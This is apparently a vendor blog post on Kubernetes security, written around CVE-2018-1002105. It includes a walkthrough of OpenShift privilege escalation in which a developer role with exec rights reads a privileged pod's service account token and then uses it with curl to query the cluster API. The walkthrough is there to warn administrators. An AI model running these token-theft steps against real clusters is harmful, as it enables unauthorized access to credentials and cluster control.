Container Security

The Implications of Kubernetes Vulnerability CVE-2018-1002105

By Fei Huang

Kubernetes critical vulnerability CVE-2018-1002105 was reported this week and the implication is a big warning to the fast-growing, massive DevOps world. The wide adoption of Kubernetes and Docker workloads is no doubt indicative of a disruptive next generation platform technology. But of course, like the dark side of the moon, every big shiny thing may bring some challenges. So it’s not a surprise that container security, especially Kubernetes security in production, has become a very critical topic for all enterprises.

Startup company BinaryEdge did a good job on analyzing the real world impact of this security hole in this article “Kubernetes being hijacked worldwide.” NeuVector is also seeing increasing numbers of Kubernetes attacks in customer production environments. Some studies show that there are thousands of Kubernetes clusters running in the Cloud and many of these are hosting public facing services. For these public services, the first obvious attack vector is intrusion from the network: port scanning, ransomware, DDoS attacks, DNS attacks, SQL injection etc.  It is happening every day, in some cases even every hour. Modern hacking tools and the active and easily accessible underground market just makes these attacks much easier than before.

Making things worse, many devops and security managers have not applied proper security practices on the Kubernetes API interface and other critical orchestration services because these are new technologies and there is a general lack of awareness of security issues. For both external and internal clusters, the Kubernetes platform could be an ideal unlocked back-door. For example a common mistake is to deploy with no authentication enabled, or a default password is used. The ability to “exec” with a cluster role privilege is widely allowed, pods are not locked down to read only rights, there is rarely a network security policy between services or pods, no admission controls to enforce container deployment, and no visibility into inter-pod communications. The list goes on.

These unsecured Kubernetes clusters have become a hacker’s playground! As a result there are new types of malicious behavior being detected in Kubernetes environments, and I expect we’ll continue to see more incidents. The hijacked Kubernetes deployments are being used to do cryptomining and will eventually lead to data stealing. Data breaches in the cloud such as the Cathay Pacific breach are utilizing application level attacks, and it doesn’t really matter what is running underneath the orchestration platform. Whether it is a container or a process will not change that it has network interfaces which present traditional as well as new attack surfaces. All these risks require security solutions that are better and stronger, and designed to work in modern cloud environments. For any company with business critical workloads, Kubernetes security really means defense of depth is required!

Furthermore, Kubernetes security is more complicated than before. Most traditional security approaches are less efficient in this new environment, and most of the time solutions like vulnerability scanning, while they reduce some risk they don’t really provide adequate protection in production. The problem is that for malicious behavior and malicious connections which are not part of the application itself, inline protection at the network layer and application layer provide the most efficient first line of defense.

Here is another real world example that shows how easy it can be to hijack an OpenShift (which is based on Kubernetes) pod from a weak configured or misconfigured OpenShift cluster:

// example of typical roles for a normal developer. developer needs to create pods, delete pods and run commands in pods to troubleshoot
apiVersion: v1
kind: ClusterRole
metadata:
name: freedev
rules:
- resources:
- pods
- pods/attach
- pods/exec
- pods/portforward
verbs:
- create
- delete
- deletecollection
- get
- list
- patch
- update
- watch
- apiGroups:
- apps.openshift.io
- ""
attributeRestrictions: null
resources:
- deploymentconfigs
verbs:
- create
- delete
- deletecollection
- get
- list
- patch
- update
- watch

// Apply this role to a user: usera
$ oc adm policy add-role-to-user freedev usera -n default
// when this usera logged in, they cant touch any extra resources which is the right expected behavior
$ oc get secret
Error from server (Forbidden): User "usera" cannot list secrets in project "default"
$ oc get node
Error from server (Forbidden): User "usera" cannot list all nodes in the cluster
// but this usera have "exec" rights, and could leverage a nearby priveleged contrainer to control a pod!
$ oc exec router-1-zgkqd -n default -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
// By this way usera has a privilege escalation, from now on with this TOKEN, this user can do anything basically!
$ curl -H "Authorization: Bearer $TOKEN" -k https://centos73-master-mt:8443/api/v1/nodes/centos73-master-mt
{
"kind": "Node",
"apiVersion": "v1",
"metadata": {
"name": "centos73-master-mt",
"selfLink": "/api/v1/nodes/centos73-master-mt",
"uid": ....
},
...
}

This case is not a typical attack, threat or violation. If the OpenShift or Kubernetes administrators are not careful to manage & control the platform configurations, a user could find a backdoor through the Kubernetes API. They could easily bypass namespace boundaries and privilege checks, and hijack a privileged pod. Then this user could deploy cryptomining containers, port scan other pods, steal secrets and then sensitive data.

These are the new security challenges emerging because attack surfaces are bigger and more complicated to lock down. To address these types of issues, a security solution needs to think out of the box, not only to check configurations and controls to find misconfigurations. A multi-vector, container native, next generation container security platform should be a requirement indeed.

Back to this particular CVE-2018-1002105. For Kubernetes users who want to know whether you are safe or not, here is a quick and easy test to help.

docker run -it --rm -v $HOME/.kube/config:/kubeconfig: quay.io/gravitational/cve-2018-1002105:latest

“We can’t solve problems by using the same kind of thinking we used when we created them.”

About the Author

Fei Huang is the CEO and Co-Founder of NeuVector Inc.
He has over 15 years of experience in enterprise security, virtualization, cloud and infrastructure software. He has held engineering management positions at VMware, CloudVolumes, and Trend Micro and was the co-founder of DLP security company Provilla.

NeuVector, the leader in Container Network Security, delivers highly integrated, automated security for Kubernetes and OpenShift, and is the only next generation container firewall with packet-level interrogation and enforcement.